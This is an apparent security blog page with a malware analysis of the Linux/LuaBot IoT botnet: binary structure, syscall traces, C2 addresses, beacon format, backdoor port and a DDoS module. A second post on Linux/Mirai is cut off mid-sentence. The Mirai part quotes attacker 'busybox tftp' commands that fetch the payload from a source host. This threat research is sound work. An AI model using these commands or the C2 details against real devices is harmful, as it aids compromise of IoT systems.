MMD-0057-2016 - Linux/LuaBot - IoT botnet as service

Background

On Mon, Aug 29, 2016 at 5:07 PM I received this ELF malware sample from a person (thank you!). There wasn't any detail or comment what so ever just one cute little ARM ELF stripped binary file with following data:

arm_lsb: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped
hash: a220940db4be6878e47b74403a8079a1

This is a cleanly GCC: (GNU) 5.3.x compiled ARM arch ELF binary:

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM
  Version:                           0x1
  Entry point address:               0x11940
  Start of program headers:          52 (bytes into file)
  Start of section headers:          995912 (bytes into file)
  Flags:                             0x5000202, has entry point, Version5 EABI, 
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         4
  Size of section headers:           40 (bytes)
  Number of section headers:         15
  Section header string table index: 14

All of the sections and headers are all there:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 1] .init             PROGBITS        000100b4 0000b4 00000c 00  AX  0   0  4
  [ 2] .text             PROGBITS        000100c0 0000c0 0d3bac 00  AX  0   0  8
  [ 3] .fini             PROGBITS        000e3c6c 0d3c6c 00000c 00  AX  0   0  4
  [ 4] .rodata           PROGBITS        000e3c78 0d3c78 00dde8 00   A  0   0  8
  [ 5] .ARM.exidx        ARM_EXIDX       000f1a60 0e1a60 000008 00  AL  2   0  4
  [ 6] .eh_frame         PROGBITS        000f1a68 0e1a68 000004 00   A  0   0  4
  [ 7] .init_array       INIT_ARRAY      00102000 0e2000 000004 00  WA  0   0  4
  [ 8] .fini_array       FINI_ARRAY      00102004 0e2004 000004 00  WA  0   0  4
  [ 9] .jcr              PROGBITS        00102008 0e2008 000004 00  WA  0   0  4
  [10] .data             PROGBITS        00102010 0e2010 011178 00  WA  0   0  8
  [11] .bss              NOBITS          00113188 0f3188 002850 00  WA  0   0  8
  [12] .comment          PROGBITS        00000000 0f3188 000011 01  MS  0   0  1
  [13] .ARM.attributes   ARM_ATTRIBUTES  00000000 0f3199 000031 00      0   0  1
  [14] .shstrtab         STRTAB          00000000 0f31ca 00007b 00      0   0  1

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  EXIDX          0x0e1a60 0x000f1a60 0x000f1a60 0x00008 0x00008 R   0x4
  LOAD           0x000000 0x00010000 0x00010000 0xe1a6c 0xe1a6c R E 0x10000
  LOAD           0x0e2000 0x00102000 0x00102000 0x11188 0x139d8 RW  0x10000
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

With a nice ARM attribute too:

Attribute Section: aeabi
File Attributes
  Tag_CPU_name: "ARM10TDMI"
  Tag_CPU_arch: v5T
  Tag_ARM_ISA_use: Yes
  Tag_THUMB_ISA_use: Thumb-1
  Tag_ABI_PCS_wchar_t: 4
  Tag_ABI_FP_rounding: Needed
  Tag_ABI_FP_denormal: Needed
  Tag_ABI_FP_exceptions: Needed
  Tag_ABI_FP_number_model: IEEE 754
  Tag_ABI_align_needed: 8-byte
  Tag_ABI_enum_size: int
  Tag_ABI_optimization_goals: Aggressive Size

The binary seemed to have signature of Sample Matrix RSA-4096 Certificate, trailing this further, I found out it's the trace of the MatrixSSL certification used for the bot client to perform the secure HTTPS connection. I previously wrote this as a signature, corrected after being sure.

00E9897  |  Sample Matrix RSA-4096 Certificate Authorit
00E98CF  |  US1
00E98DC  |  WA1
00E98E9  |  Seattle1
00E98FB  |  INSIDE Secure Corporation1
00E991F  |  Test0
00E9927  |  140324164110Z
00E9936  |  170323164110Z0
00E9946  |  1+0)
00E9950  |  "Sample Matrix RSA-4096 Certificate1
00E997E  |  US1
00E998B  |  WA1
00E9998  |  Seattle1"0 
00E99AA  |  INSIDE Secure Corporation1
00E99CE  |  Test0

Also the binary is having MatrixSSL's code libraries for encryption operation.

Well, a signed ELF binary with encryption support is absolutely okay right? Unless .. what if along with that you see a hardcoded coder's message like this? ↓

View the binary's ASCII in the last part and you'll see the first email address.

It seems the sender of the sample was finding this malware already infected a system, since I figured the self-copied name on post infection is as per the sample's filename sent:

And this is why this "adventure" was started..

What is this ELF?

This is a new ELF botnet malware, coded in Lua [link] language ( @$LuaVersion: Lua 5.3.0). It is the first time to find an lua language ELF compiled malware, specifically in ARM cpu architecture, so let's call it as "Linux/LuaBot".

Below is the summary for this verdict:

The lua language used details can be seen in these viewable .lua source files traced, along with the lua runtime libaries and some botnet commands used:

The botnet commands can be traced in these called functions:

The binary was still in fully undetected (in short: FUD) state when I wrote this analysis:

At the time I firstly reverse-engineered ELF Linux/Luabot, I was on making short announcement & awareness about this new threat:

But yet, that report is not enough to explain the threat, there are a lot of things in this malware that can not be explained in one picture....

The following sections will explain more details on the threat..

How Linux/LuaBot infects us (initial steps)

It will be a lie to say that I know how this sample firstly infected a Linux host, since I only received the post-infected form of the sample. But don't worry, by some ELF analysis I can explain a bit on how it works as per followings:

After trying to increase limit on open files via setrlimit(RLIMIT_NOFILE, &foo), the malware during the startup will fork itself to two new processes. On some Linux system that is secured well, and if the malware is not getting the uid zero (read: root), the setrlimit() syscall can't be executed, and the coder forgot to sanitize stderr(perror) for it. So if you see error message of "Setting RLIMIT_NOFILE failed, errno 1" as output of any suspicious binary, your system is possibly infected.

Just right before forking is done, the malware will send you following message:

"Hi. Mail me if u want: xxxxx@xxx.ru"

I don't email him but I was checking these email addresses in Yandex Mail, by trying to make new account under @yandex.ru using these accounts, and someone is using it already. Meaning, the email addresses are there and we have high possibility owned by the bot coder. Picture? ↓

And then open the file socket bound to the mutex formed by:

bbot_mutex_203508

which 203508 in the part of mutex is hard-coded number in this ELF (see screenshot of arm_lsb filename) and it is actually the version of this botnet, I'll explain and snip about this version matter in the next part of this post.

After the first forked process is started, the main process will be terminated. This new first process will assign a PID with gettid & setsid, and then fork() its process one more time to launch the real deal, the malware main process (Noted that the initial process will be dead at this time). The first fork process, ..will be bound via unix file socket with the mutex created previously and will sit there and launched wait() syscall, ..is practically a useless process for analysis.

The second forked process is the main activity of this malware, and does malicious activities:

Checking the active (file) sockets in /proc/net/unix and network sockets (/proc/net/tcp*).

Reading all system's active process names & PID in /proc/{PID}/* with utilizing getidents64 to enumerate them, practically it's an approach to see what's running and what values are actually can be fetch, i.e.:

call getdents64(%d, {
{d_ino=1, d_off=1, d_type=DT_DIR, d_reclen=24, d_name="."} 
{d_ino=1, d_off=2, d_type=DT_DIR, d_reclen=24, d_name=".."} 
   :
{d_ino=4026532032, d_off=11, d_type=DT_REG, d_reclen=24, d_name="kmsg"} 
{d_ino=4026532031, d_off=12, d_type=DT_REG, d_reclen=32, d_name="softirqs"} 
{d_ino=4026532030, d_off=13, d_type=DT_REG, d_reclen=32, d_name="version"} 
{d_ino=4026532029, d_off=14, d_type=DT_REG, d_reclen=32, d_name="uptime"} 
{d_ino=4026532028, d_off=15, d_type=DT_REG, d_reclen=24, d_name="stat"} 
{d_ino=4026532027, d_off=16, d_type=DT_REG, d_reclen=32, d_name="meminfo"} 
{d_ino=4026532026, d_off=17, d_type=DT_REG, d_reclen=32, d_name="loadavg"} 
{d_ino=4026532025, d_off=18, d_type=DT_REG, d_reclen=32, d_name="interrupts"} 
{d_ino=4026532024, d_off=19, d_type=DT_REG, d_reclen=32, d_name="devices"} 
{d_ino=4026532023, d_off=20, d_type=DT_REG, d_reclen=32, d_name="cpuinfo"} 
{d_ino=4026532022, d_off=21, d_type=DT_REG, d_reclen=32, d_name="consoles"} 
{d_ino=4026532021, d_off=22, d_type=DT_REG, d_reclen=32, d_name="cmdline"} 
{d_ino=4026532020, d_off=23, d_type=DT_REG, d_reclen=32, d_name="locks"} 
{d_ino=4026532019, d_off=24, d_type=DT_REG, d_reclen=32, d_name="filesystems"} 
{d_ino=4026532018, d_off=25, d_type=DT_REG, d_reclen=32, d_name="slabinfo"} 

This technique is also very handy to secure your process from some malicious infection, I am doing it myself to analyze some ELF rootkits or kernel modular malware that hooked processes.

Intermezzo: Some of my ELF malware analysis protip:

For the crooks who think that I use any kind of *trace scheme for reading your UNIX malcode's work, well.. dream on! You can do harder or hit the school chair once again, because I never trust ptrace for such purpose (except for my NIX related development debugs). For the good folks, please see my previous published presentation in ELF Reversing Workshop, explaining a nice trick I use to beat malcoder's scheme in evading debugging tricks on infecting UNIX systems. This know-how was successfully presented, demo and transferred to senior reversers in my community.

Checking the current user's privilege by getuid32, geteuid32, getgid32, getegid32

Checking the network interface name and its IP via open() to /proc/net/route. opened a check socket and using ioctl().

Assemble BotID & writing the ID as stdout, with the following formulation:

"Bot id is \t{IFACE-NAME}-{IPADDR}-{NUM}[10-9]{6}:{Version}" 

The formula can be seen if we hack further, with the lua script traces:

0000 0000 2240 0000 2028 2564 2b29 2040  ...."@.. (%d+) @
6262 6f74 5f6d 7574 6578 5f28 2564 2b29  bbot_mutex_(%d+)
0000 0000 0000 0000 f000 0000 d101 0000  ................

So it seems that the coder is forming the ID and mutex with the version value intact.
In relation with the data above, we know how the Luabot will not duplicate the infection. These are lua scripts from the reversed lua script, formed as similar as per below:


Yes, it checks for the version of the current running botnet platform before it daemonized itself. If it found the current running version is older, LuaBot will exit the current running instance.

The malware then run test_domain() lua function to load lookup domains:

0x012b7390  0000 0000 726f 6375 676f 6f67 6c65 2e63  ........google.c
0x012b73a0  6f6d 0034 343a 2063 3100 0000 3100 0000  om.44: c1...1...

0x012b73c0  0000 0000 726d 6973 6661 6365 626f 6f6b  ........facebook
0x012b73d0  2e63 6f6d 0000 0000 3100 0000 3100 0000  .com....1...1...

0x012b73f0  0000 0000 c09e 0200 6261 6964 752e 636f  ........baidu.co
0x012b7410  e073 2b01 0402 0000 c1c4 d41a 0a00 0000  .s+.............

0x012b7420  0000 0000 c8af 2c01 616d 617a 6f6e 2e63  ......,.amazon.c
0x012b7430  6f6d 0001 a076 2b01 c040 2b01 e040 2b01  om...v+..@+..@+.

0x01296de0  0006 000c 0977 696b 6970 6564 6961 036f  .....wikipedia.o
0x01296df0  7267 0000 0100 01c0 1600 0200 0100 02a3  rg..............

which are google.com, facebook.com, baidu.com, amazon.com and wikipedia.org.

The domains will be looked up to the below DNS servers:

69.171.239.12 | a.ns.facebook.com. |32934 | 69.171.239.0/24 | FACEBOOK | US | facebook.com | Facebook Inc.
192.12.94.30 | e.gtld-servers.net. |36629 | 192.12.94.0/24 | MGTLD | US | verisign.com | Verisign Global Registry Services
198.41.0.4 | a.root-servers.net. |36625 | 198.41.0.0/24 | KGTLD | US | verisign-grs.net | VeriSign Infrastructure & Operations
202.108.22.220|xd-22-220-a8.bta.net.cn.|4808 | 202.108.0.0/18 | CHINA169 | CN | chinaunicom.com | China Unicom Beijing Province Network
204.74.108.1|pdns1.ultradns.net.|12008 | 204.74.108.0/24 | ULTRADNS | US | ultradns.com | UltraDNS Corp

The purpose of these checks is understandable, the Linux/Luabot is making sure that after infecting a node it has the intenet connection or not. And to avoid suspicious traffic alert it queries SNS in every possible topology internet location. At this stage we can see that the coder seems has no intention to infect Russia Federation or East Europe related network since there is no SNS services in the territory are in check, like VK or Yandex or others. Even it is clearly made by someone who use Russian language (hint: @yandex.RU). Interesting.

Next, the malware will connect to the CNC in 217.23.3.47 and send an HTTP/1.1 GET command. Linux/LuaBot was firstly socket-connecting to 217.23.3.47 by port TCP/1085, there's no further activity in this connected port, assuming the checking scheme to poke the CNC and to make sure the CNC is up.

connect(8, {sa_family=AF_INET, sin_port=htons("1085"), sin_addr=inet_addr("217.23.3.47")}, 16)

And then, followed by the HTTP request to port TCP/80 of the same IP address:

GET "/bot?bid={IFACE}-{IPADDR}-{NUM}0123456:{MUTEX} HTTP/1.1\r\n"
Connection: "close\r\n"
Host: "217.23.3.47\r\n\r\n"

The origin of this CNC:

217.23.3.47|s4.mailuprising.com.|49981 | 217.23.0.0/20 | WORLDSTREAM | NL

I recorded this CNC connection session in PCAP with its encrypted form replies from 217.23.3.47
As you can see in the reply traffic part, it contains data of specific format of:

script|{Encrypted data}|endscript
＜br＞

The thing is, maybe LuaBot coder doesn't think reverser can decode this data, well..

A simple reversing can decode this hard-coded CNC easily:

At this point the data fetched is processed (decrypted), this is when we can receive some "goodies", like:

To be beautified into:

These are the data to be passed to the CNC sending function coded in Lua, that's using socket function to communicate with any of those nodes. It is suggested the access to open SOCKS which is specifically bound to those IP.

The listed IP addresses are all nodes of AS4998 from 109.236.80.0/20, 217.23.0.0/20 and 93.190.140.0/22 belong to a dedicated server hosting service WorldStream.NL, the customer layer service IP, in Netherlands. It looks like these IP is reserved by the botnet coder for a purpose, like maybe as a failover for CNC, or open socks for a merchandise. WorldStraem Hosting in Netherlands should be warned for their abusive user, which is possibly originated (strongly) from Russia.

There is another interesting data found, a botnet management trace

PS: There are also some passed values like (traced sent from the lua interpreter to C bind commands), which is used to monitor the bot performance like:

loadavg
meminfo
uptime
speed
ioports

And now we know exactly why Linux/Luabot is using getident64() for reading all of these..

Following the decoder trail a bit further, to find these IP to be connected just once and cleaned those up later on...this doesn't look good..
Which leads to the different IP addresses from:

185.14.30.214 | anna.me. |50673 | 185.14.28.0/22 | SERVERIUS | NL | itl.net.ua | ITL Company
46.22.211.46 |  |34702 | 46.22.208.0/20 | WAVECOM | EE | wavecom.ee | Aktsiaselts WaveCom
142.4.215.49 | 4.3.dedicated.sh. |16276 | 142.4.192.0/19 | OVH | FR | ovh.com | OVH Hosting Inc

These IP are involved to the botnet activity, could be the victim for the infection or the attack, it is maybe wise to check or contact these nodes' authority further.. There is more explanation of this code in the "What is the purpose of Linux/LuaBot?" section.

Okay, so far we found many network infrastructure were actually prepared by this botnet...let's continue with the malware process:

The malware changes the setting of iptables (Linux firewall) by following method:

And finally Linux/LuaBot is opening backdoor & listening to all inbound network traffic that uses port TCP/11833:

bind(8, {sa_family=AF_INET, sin_port=htons("11833"), sin_addr=inet_addr("0.0.0.0")}
listen(8, 10240)

Below is the snapshot for infected state of a linux box by the Linux/LuaBot is as per tested case:

Noted, the UDP/41029 is for outbound DNS request, is insignificant and can be changed.

CNC traffic and Lua coded botnet functions

I guess all of the related data for the CNC traffic already being explained much in the above section, so in this part I just paste the overall CNC traffic monitored during the initial infection of Linux/LuaBot, which hoping can be used as reference on the infection, and proof of the analysis.

There are plenty trace of lua code can be found in this single cute tiny ARM ELF, but my favorite is the way Linux/LuaBot sends HTTP request to the remote sites, for the CNC purpose or proxy purpose.

The decrypted stub that contains IP bulk are data that is parsed to the hardcoded lua XMLHttpRequest function. The reversing effort (read: hacks) shows the below coded API in lua "pseudo function" used for the purpose:

So now we know why the MatrixSSL signature is in there, it is used for having the HTTPS connection to any web server using this API.

Below are some nice catches that's maybe worth to dig more :)

You can see the arrays say: "Stop breaking" lol :) ..sorry, it's a bit too late!
Okay, enough joking, what's this trace? If you ever see how some skid in hackerland trying to bypass Cloudflare protected sites by some javascript, here is one, extracted from this LuaBot. A ping! to Cloudflare to be aware.
Well, you can easily put anything you want in a botnet if it is based on scripts, can't you?

Next..let's ping Sucuri team for this:

This is also the same type as above figure. traces of usage some JS, this part is for Sucuri protection. See the next section for the detail..

The coder loves bad vocabulary.. :)

I think he described his coded malware very well in one word above :D

What is the purpose of Linux/LuaBot?

In the function at 0x07E2E0 on the reversed code, there are code that usually can be found in the DNS query handling tool, or name server resolver, as per snips below:

The code is originated from resolver.lua and it is interacted with the udp.lua, as per its name suggesting a lua library used to form User Datagram Protocol function and struct, This is showing the Linux/LuaBot has its own lua resolver function for the DNS query, and has ability to form its own UDP packet to be sent to any destination, so as its capability to act as independent DNS resolver. Keep this finding in mind, and go look deeper into the source codes extracted, you'll find the HTTP connectivity function, SOCKS server, code for creation sockets for performing TCP along with the mentioned UDP, with some supported libraries intact. If you know what I mean: This botnet was designed doesn't need infected system's resource at all to perform its operation!

There's also the telnet.lua codes compiled after interpreted via lua in this ELF, which is after being reversed it seems to be a simple telnet basic communication functions interpreted in lua language (that can be found many references in the internet) that may allow Linux/LuaBot to communicate remotely through this protocol.

Other functions like encoding/decoding coded in base64, a usage of utilizing json operation with its execution to several purpose (I don't want to disclose this yet), and other lua sources are for supporting the botnet operational activity for this malware.

And, so far...I can't proof any code that can triggered functions in a hostile action, like, being called for flooding or DDoS for example. But, since what I have now is only a one tiny cute ARM file sample, I may miss something with only so few reference I got..

Another thing that I don't seek deeper is the "penetrate_sucuri" part, a symbol (a reversed lua function) traced to be coded in the lua source file: *cough* "checkanus_sucuranus.lua" and there's also "checkanus.lua", which I took only a peek for it, it forms (http) action to a defined target. I'll leave the engineer experts on Sucuri team friends to analyze that part deeper, but by its name it may suggested to a penetration or a bypassing method into their protection scheme.
EDIT: see the below section to see how the Sucuri or Cloudflare cracking script is used by Linux/Luabot.

Okay..okay..So what's the purpose of this malware??

This malware is served as botnet aiming ARM architecture IoT Linux machines, and it is built with encrypted C2 communication protocol. The botnet is using MatrixSSL on ed25519 crypto to for the overall CNC communication commands. The communication data is also XOR masked to prevent textual easy readings or leaks. The concept of the encryption used is not that savvy by my personal opinion, but by signing its CNC communication commands is preventing Linux/Luabot CNC communication from being hijacked easily, which is the purpose for usage of MatrixSSL on this botnet.

If you see carefully in the above description, there are the "cmdline", and "cmdline args" spotted in several parts in ELF reversed code, forensics results and also source code trace too. The hacker can do a lot of things with it via a crypted remote commands pushed to his bots through this command interface, so this bot can be used to execution for the lua script. So one of the botnet functionality is the remote execution via this interface. For instance, you can execute the bot to perform an action by the command of:

./LuaBot_filename [path]{Luascript_filename}.lua

Linux/Luabot works in lua script as modular basis, seeing by the compiling trace and size, it was built from what I suspect from a native Lua compiler (see reference in latest version of Lua) with libc. It is enriched with the possible additional, or modification, and improvement as a framework that can be modified in a snap thus to be pushed to the next infection chain. This is what makes the design for botnet is flexible, and all can be done in scripting mode.

EDIT: I was just receiving request to PoC the argument execution, and also from other email asked to post some scripts I reversed, for the command argument execution I can share it as per below, these are a reversed code and it goes something like below, you'll get the idea:

To make a further amazement, the Linux/LuaBot is not only having one interpreter, which is lua, mainly, obviously, but it has the javascript interpreter that can execute the javascript commands that is needed to crack some protected sites like Cloudflare or Sucuri. Some traces I showed above are part of the proof for this concept. For this purpose. the coder seems making much effort to integrate V7 embedded JavaScript engine inside, The JavaScripts integrated in the Lua scripts with, sorry, *cough* "*anus*.lua" scripts part is meant for bypassing Sucuri protected site or to evade Cloudflare protection sites, so show the origin IP location. This is also suggesting offensive function.

I kept "this" information in secret before being very sure before writing it, but I think I now figured how the coder sells this botnet, by what service. The merchandise of selling is mostly the created or served SOCKS itself. As we are all know that many of the blackhat crooks are using SOCKS for proxy servicing their daily activity like for cushion to send spams, or trafficking for a malware infection, cushion for exploiting a site or device, and so on. And the config pushed to the Linux/LuaBot contains the latest SOCKS data to be served for that purpose.

In one of pictures previously shown, here I pasted it again below, explaining a great deal on how the coder (which also the herder) is using these socks practically:

..this is a nice demonstration for a temporary usage of SOCKS itself for some bad purpose. In the case it's showing the temporary usage for some defined SOCKS to be leaned up afterward. Such command like this that can be pushed by the command from the CNC to each of the Linux/LuaBot client. The shown picture is explaining the attempt to use SOCKS for cushion to illegal activities like: attacking the mentioned IP addresses for the bad purpose or hacking and so on... Linux/LuaBot is capable to serve as a framework providing bad guys with this cushion.

Another thing that I am quite certain too now is, different to the most ELF malware or Linux botnet spotted before, which are mostly communicating to the remote site via web protocol (to download something, or to fetch some data) is using wget (either busybox or static ones), or maybe using cURL library/command, LuaBot is utilizing the MatrixSSL and XMLHttpRequest to make it possible to communicate to any web remote site on his own native code and with is having full support on SSL encryption (via HTTPS). I'd say this is smart.

So far we think the coder is making his point that he can create fully undetected ELF botnet with encrypted communication easily from using lua script/language aiming IoT, and he is promoting Linux/LuaBot that can be used for "Botnet As a (malicious) Service" by selling SOCKS connection and also serving the et cetera payloads. That's why he put some of his email contacts openly...he tries to say that "he needs a job".

There is a serious flaw in this botnet, which made me possible to reverse most of the things, for the security purpose let this be a secret, also, there are plenty of undone and unused parts, along with some unnecessary traced codes too. Our team is now having a strong opinion that parts of the sample is on development stage.
Please take the rain check for these part as additional information, I will update information upon new reversing result confirmed.

Update: The "separate" ELF DDoS "module" for Linux/LuaBot

Linux/Luabot DDoS effort using ELF binary module

Approximately 4 hours ago the same person was sending another ARM in ELF stripped sample, thank you again.

This sample [link] is explaining the "missing link" of the DDoS function expected from this botnet. This module was coded in Lua and using the same static compilation environment, with zero detection ratio too. This additional ELF could be "the payload" that we are waiting for. This module is explaining a lot of detail on how the attack is performed, a simple download and execution command executed by the infected nodes from remote access via shell or internal command line interface is enough to trigger this attack.

Below is the file details:

:> !file dcc
dcc: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped
:> !md5sum dcc
8e7637d72e522cb52012c02eb8ddfdbe  dcc
:> date
Tue, 06 Sep 2016 14:14:09 GMT + 0
:>

The targeted site is hard coded in this ELF module, as per seen below:

HTTP (L7) GET headers used for flooding is generated with following composition:

The attack process are mainly managed in main function at [0x00010ac0] and the loop for flood process can be confirmed between the range of address described below;

Noted, the binary needs specific "environment", if you're inexperienced with handling it, you may meet a SIGILL (sig 4) during runtime if the condition is unmatched.

:> dc
[+] signal 4 aka SIGILL received 0
:> 

The interesting trace found in the DoS module ELF is as per below screenshot, a self explanatory.

Linux/Luabot DDoS effort using the Lua script module

As per explained in the previous parts, Lua script can be executed by Linux/LuaBot via argument for the command line execution too. The PoC for it can be reversed from the botnet itself like per following reformed Lua script. I put a lot of comments in the picture for understanding how it does:

Thank's for requesting me to post this script.. I believe I had all of the malicious aspects and parts reversed well by now.

Epilogue and follow up

There are plenty new ELF malware coming & lurking our network recently & hitting out Linux layer IoT and services badly, let's watch for unusual hazards for the security of our 24/7 running Linux nodes, they are as important as the personal computers that we all use.

The traffic filtration for this threat is proposed to ET Labs friends, the protection is available now. If your network is infected with this variant of Linux/LuaBot, the alert will come up under below identifications:

  2023155 - ET TROJAN Linux/LuaBot CnC Beacon
  2023156 - ET TROJAN Linux/LuaBot CnC Beacon Response

Thank you Emerging Threat Labs [link] engineers!

Samples are shared by RCE expert Xylit0l [link] to threat research community in KernelMode [link]

Detection ratio from AntiVirus is raised from zero to 20 within 5 days:

Sucuri top hacker & his experts is analyzing the reversed code for mitigating evasion:

Lua is a good language, and using it for compiling ELF ARM binaries is good too, but the usage for making botnet is never good.

This analysis was done by open source OS (FreeBSD) infrastructure and using plenty of UNIX/Linux sysadmin tools, for RE itself I use only radare [link], I dedicated this post to the R2CON [link]

If you see the binary that works in similar malicious way in your Linux box please kindly share us the sample by uploading them via our sample uploader-->[link]

Thank you very much for the internet media awareness

We, MMD thank our good friends in internet media for your fast awareness of this threat:
1. Softpedia [link]
2. SC Magazine [link]
3. Xakep .RU [link]
4. Security News .GR [link]
5. SecurityLab .RU [link]
6. Information Security News[link]
7. Infosec Island [link]
8. ISS Source [link]
9. Security Affairs [link]
and others who are not mentioned yet (I am sorry!)

Stay safe friends!

#MalwareMustDie

Reversed, written and analyzed by @unixfreaxjp [link], September 5th 2016.

MMD-0056-2016 - Linux/Mirai, how an old ELF malcode is recycled..

Our recent analysis about Mirai is in here==>[Link]

Background

From August 4th 2016 several sysadmin friends were helping us by uploading this malware files to our dropbox. The samples of this particular ELF malware ware not easy to retrieve, there are good ones and also some broken ones, I listed in this post for the good ones only. This threat is made by a new ELF trojan backdoor which is now in on-going stage aiming IoT, the name of the binary is "mirai.*" and is having telnet attack as main functionality to other boxes.

As I see these samples as something new, it would be good to start to write analysis for the purpose to raise awareness of this threat widely, since the attacks are actively spotted in the wild on plenty of infected IoT networks. During the checks I discussed about the threat to the engineer friends in ETLabs,[links] who also detecting the same attack phenomena, and then having dialogue with our supporters who reported this threat directly too.

ELF Linux/Mirai is currently having a very low ELF/Linux antivirus detection ratio, even in the architecture of x86. The detection in VT for the collected multiplatform samples can be viewed in the several links below:
Linux/Mirai ITW samples: [link] [link] [link] [link] [link] [link] [link] [link] [link]

The reason for the lack of detection is because of the lack of samples, which are difficult to fetch from the infected IoT devices, routers, DVR or WebIP Camera, the Linux with Busybox binary in embedded platform, which what this threat is aiming.

The threat information

The binaries are collected from multiple direct/indirect sources:

mirai.arm:    ELF 32-bit LSB executable, 'ARM', version , statically linked, stripped
mirai.arm7:   ELF 32-bit LSB executable, 'ARM, EABI4' version 1 (SYSV), statically linked, stripped
mirai.mips:   ELF 32-bit MSB executable, 'MIPS, MIPS-I' version 1 (SYSV), statically linked, stripped
mirai.ppc:    ELF 32-bit MSB executable, 'PowerPC or cisco 4500', ver 1 (SYSV), statically linked, stripped
mirai.sh4:    ELF 32-bit LSB executable, 'Renesas SH', version 1 (SYSV), statically linked, stripped
mirai.sparc:  ELF 32-bit MSB executable, 'SPARC', version 1 (SYSV), statically linked, stripped
mirai.x86:    ELF 32-bit LSB executable, 'Intel 80386', version 1 (SYSV), statically linked, stripped

I picked up the ELF binary in ARM architecture for my main reversing since the it was the first ELF appeared, Doing the cross reference with the MIPS, PPC and Sparc ELF ones for the details. In this case, I use plenty of usual tools, nothing fancy or special.

The hash of the Linux/Mirai initial binaries spotted:

MD5 ('mirai.arm')  = b98bc6ab2ed13028cd5178c422ec8dda
MD5 ('mirai.arm7') = 33987c397cefc41ce5e269ad9543af4c
MD5 ('mirai.mips') = 8e36a1fb6f6f718ec0b621a639437d8b
MD5 ('mirai.ppc')  = e08befb4d791e8b9218020292b2fecad
MD5 ('mirai.sh4')  = 030159a814a533f30a3e17fe757586e6
MD5 ('mirai.sparc')= ac61ba163bffc0ec94944bb7b7bb1fcc
MD5 ('mirai.x86')  = 6b7b6ee71c8338c030997d902a2fa593

Thank you to a friend who helped much.

These binaries were infected to the compromised Linux system's SSH or Telnet account (via default password flaw on specific IoT aimed). Upon the shell access gained, the attacker will download the payload of this malware to the Linux device by command traced like below:

'busybox tftp' -r [MalwareFile] -g [IPsource]
'busybox tftp' -g -l 'dvrHelper' -r [MalwareFile] [IPsource]

The source of infection (by current download & connection trace)

5.206.225.96 |  |49349 | 5.206.225.0/24 | DOTSI | PT | tuganet.pt | Dotsi Unipessoal Lda.
151.80.99.84 | ns395732.ip-151-80-99.eu. |16276 | 151.80.0.0/16 | OVH | FR | ovh.com | OVH SAS

Execution processes

In some cases of the Linux/Mirai infection is showing traces that the malware was executed without parameter and there are cases where the downloaded malware file(s) is deleted after execution. In this case mostly you won't get the samples unless you dump the malware process to the ELF binary. This explains it is hard to get the good working samples for this new threat.

During the execution, the malware will open the /etc/watchdog file in read-write state with the command:

open("/dev/watchdog", O_RDWR)

Notes: In some newer cases the coder is adding other path of watchdog like:

/dev/misc/watchdog

Moving forward, and then Linux/Mirai will change the work directory to the root directory:

chdir("/")

It uses PF_INET socket it is opening UDP/53 port to access Google DNS server in 8.8.8.8 and established a connection. Something like the below reversed code (see the last section about skeleton reversing) is showing the following commands was executed for this part:

connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16) 

The malware will detect the outbound interface and by re-using previous used socket it opens a random TCP/port to the IP address. If the process above succeed malware will close the socket afterward

getsockname(3, {sa_family=AF_INET, sin_port=htons(39221), sin_addr=inet_addr("YOUR-IP")}, [16])
close(3)

At this point the malware is performing several decoding for strings, which will be resulted in the targeted malware file name (below) and several random names.

0xbf96daa4  0000 0000 0000 0000 0000 0000 0000  ..............
0xbf96dab2  0000 2e2f 6476 7248 656c 7065 7200  ..'/dvrHelper'.
0xbf96dac0  0000 0000 0000 0000 0000 0000 0000  ..............

The file will be the copy of the malware under /dev/.{Something}/dvrHelper with piping the stdout and stderr on execution made to /dev/null (for silent mode execution).

The /etc/watchdog execution is meant for making the delay, for the malware not to perform the bad function instantly to avoid the early detection, and it just sit there and make sure the malicious opened backdoor port is up and used. The mentioned {Something} is the keyword generated by the malware, in example path: /dev/.anime/drvHelper

Upon execution the malware will be self-deleted to avoid the trace, but the process is running. In some IoT that can be seen in lsof or the list to the /proc with specific PID, i.e.:

/proc/{PID}/exe -> '/dev/.{something}/dvrHelper' (deleted) 
/proc/{PID}/exe -> './{long alphabet strings}' (deleted) 

In this stage, the networking process continues, the malware is opening PF_INET socket for TCP, and bind it to the specific port (not random) TCP/48101 from localhost IP address 127.0.0.1 and then starting to listen to the incoming connection:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
bind(3, {sa_family=AF_INET, sin_port='htons(48101'), sin_addr=inet_addr("127.0.0.1")}, 16)
listen(3, 1) 

By this stage the system-wide realtime clock will be queried (triggered by random) along with the retrieval set of PID, following by start forking, noted the following clocktest output and the stdout of "NULL\n"

clock_gettime(CLOCK_REALTIME, {1472261021, 649262704}. 
getpid() // // see the reverse engineering part...
getppid()
clock_gettime(0x2 /* CLOCK_??? */, {0, 6215000})
prctl(PR_SET_NAME, 0xbef89752, 0xbef897b8, 0xbef897c8, 0)
write(1, NULL, 0)
write(1, "\n", 1)
fork()

Notes:

- forking always starts if infection possible.
- The "NULL\n" is for the execution trace of the watchdog via execl(parse to environment in execve).

Then this main process will exit here. and forked to new process PID (note: If you go this far means the malware can infect your system).

For some infection case the malware is self connected to its opened TCP/48101 & will continuously looping without making any forks, in this case you won't get infection:

 
connect(4, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("0.0.0.0")}, 16}

List of files will show. it's showing the access port for the nodes.

 IPv4 5629  0t0  TCP 127.0.0.1:'48101 (LISTEN)'
 IPv4 5670  0t0  TCP 127.0.0.1:60254->'127.0.0.1:48101 (ESTABLISHED)'

In the forked process, upon the attack command can be triggered, the infected device will perform connection on telnet services on other device for the abuse purpose:

